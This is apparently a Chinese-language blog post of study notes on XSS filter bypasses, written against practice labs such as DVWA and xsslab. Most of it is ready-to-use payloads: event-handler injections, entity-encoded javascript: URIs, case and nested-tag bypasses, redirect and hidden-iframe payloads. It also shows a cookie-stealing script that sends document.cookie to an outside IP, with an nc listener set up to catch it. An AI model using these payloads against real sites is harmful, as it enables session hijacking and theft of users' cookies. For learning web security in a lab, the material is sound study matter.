XSS漏洞绕过初步汇总

682 阅读3分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路

靶场

欢迎来到XSS挑战 (xssaq.com)

js代码反编译

过滤绕过

payload

最小有效载荷

"oncut="alert()
oncut事件是当input内容被剪切的时候触发

语句绕过

1.把字符串编码,htmlspecialchars()

破解实例 xsslab
’ onmouseover=‘alert(1)
" onmouseover="alert(1)

不指定不会过滤单双引号

不会过滤括号

如:

把一些预定义的字符转换为 HTML 实体:

<?php
$str = "Bill & 'Steve'";
echo htmlspecialchars($str, ENT_COMPAT); // 只转换双引号
echo "<br>";
echo htmlspecialchars($str, ENT_QUOTES); // 转换双引号和单引号
echo "<br>";
echo htmlspecialchars($str, ENT_NOQUOTES); // 不转换任何引号
?>

以上代码的 HTML 输出如下(查看源代码):

<!DOCTYPE html>
<html>
<body>
Bill &amp; 'Steve'<br>
Bill &amp; &#039;Steve&#039;<br>
Bill &amp; 'Steve'
</body>
</html>

以上代码的浏览器输出:

Bill & 'Steve'
Bill & 'Steve'
Bill & 'Steve'

防御手段

1.添加单双引号过滤

2.使用html()进行输出的时候,外面再套一层json_encode()函数

2.对事件类型和script标签进行过滤

可以尝试使用其他标签进行绕过

比如

3.对大写绕过进行转化

在线Unicode编码转换-Unicode和ASCII在线互转-中文转Unicode工具 (jsons.cn)

可以尝试转化为uncode编码

比如

javascript:alert(1)

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

注意这玩意可以只编码一部分

比如

javascript:alert(1)

java&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)

4.传入url,对url过滤

会检测url是否有*http://huo* 或者https之类的

前端指令

在input框中

使用onmouseover=“alert(1)”

5.使用ng-include进行文件包含

这个文件包含是angular js中的内容,作用类似于php 的include函数

注意这个函数地址需要换源成国内的

cdn.staticfile.org/angular.js/…

ng-include的具体用法:

  1. 该指令用来包含外部的html文件
  2. 包含的内容将作为指定元素的子节点
  3. ng-include属性的值可以是一个表达式,返回一个文件名
  4. 默认清康熙啊,包含的文件需要保存在同一个域名下(同源策略)

注意:

  1. 该函数如果单纯指定函数需要加引号
  2. 加载外部html时,script中的内容不执行
  3. 加载外部html时可以识别style标签

6.对分隔符进行过滤

对空格,tab,/,回车进行过滤,可以先看有没有漏了这四个中的某一个

若都过滤请尝试使用url编码

HTML URL 编码参考手册_w3cschool

%0A,%0a回车

%20 空格

分类

dom,反射,储存

dom型是指在url中进行xss植入,dom可以是反射也可以是储存

反射型 是指传入后立刻就会有反应

储存型 是指传入后会被储存到数据库,下一次取出时触发

发送cookie到指定网址

修改页面

<script>document.body.innerHTML="<div style=visibility:visible;><h1>This is DOM XSS</h1></div>";</script>

当使用switch的时候使用#来结束语句

English #</option></select><img src=1 onerror=alert(/xss/)>

注意使用html语言时记得闭合语句,script不需要闭合太多语句

常用语句

<script>alert(‘xss’)</script>
 <body onload=alert('xss2')>
 <a href='' onclick=alert('xss3')>click1</a>    #点击click1时弹出xss3
 <img src=http://192.168.10.128/a.jpg onerror=alert('xss4')>  #src地址错误,然后执行onerror的内容
 
 重定向:

<script>window.location='http://www.163.com'</script>

<iframe src='http://192.168.10.141/a.jpg' height='0' width='0'><iframe>

获取cookie

1.<script>alert(document.cookie)</script>
2.<script>new Image().src="http://192.168.10.141/a.php?output="+document.cookie;</script>

2.1在192.168.10.141上开启监听

Nc -nvlp 80

2.2在DVWA中输入如下内容

<script>new Image().src="http://192.168.10.141/a.php?output="+document.cookie;</script>

2.3此时可以在192.168.10.141的主机上获得DVWA的cookie信息
2.1大小写绕过

<Script>alert('xxx')</script>

2.2组合过滤条件绕过

<scr<script>ipt>alert('sss')</script>

2.3尝试使用别的标签来绕过

<body onload=alert('s')>

<a href='' onclick=alert('ss')>click</a>

<a href='' onclick=alert(/ss/)>click</a>

#<script>alert('xx')</script>
<body onload=alert('s')>

<img src="" onerror=alert('xss')>

<a href='' onclick=alert('ss')>click</a>

<a href='' onclick=alert(/ss/)>click</a>
<script>alert('x')</script>

<body onload=alert('sss')>

<a href=http://www.baidu.com>clock</a>

<a href='' onclick=alert('xss')>click</a>
重定向:

<script>window.location=’http://www.baidu.com’</script>

<script>window.location=’http://192.168.10.141’</script>

<iframe src='http://192.168.10.10.141/a.jpg' height='0' width='0'></iframe>

获取cookie:

<script>alert(document.cookie)</script>

<script>new Image().src="http://192.168.10.141/c.php?output="+document.cookie;</script>
<Script>alert('x')</script>

<body onload=alert('xss')>

<a href='' onclick=alert('xss')>click</a>
<body onload=alert('xss')>

<a href='' onclick=alert('xss')>click</a>

\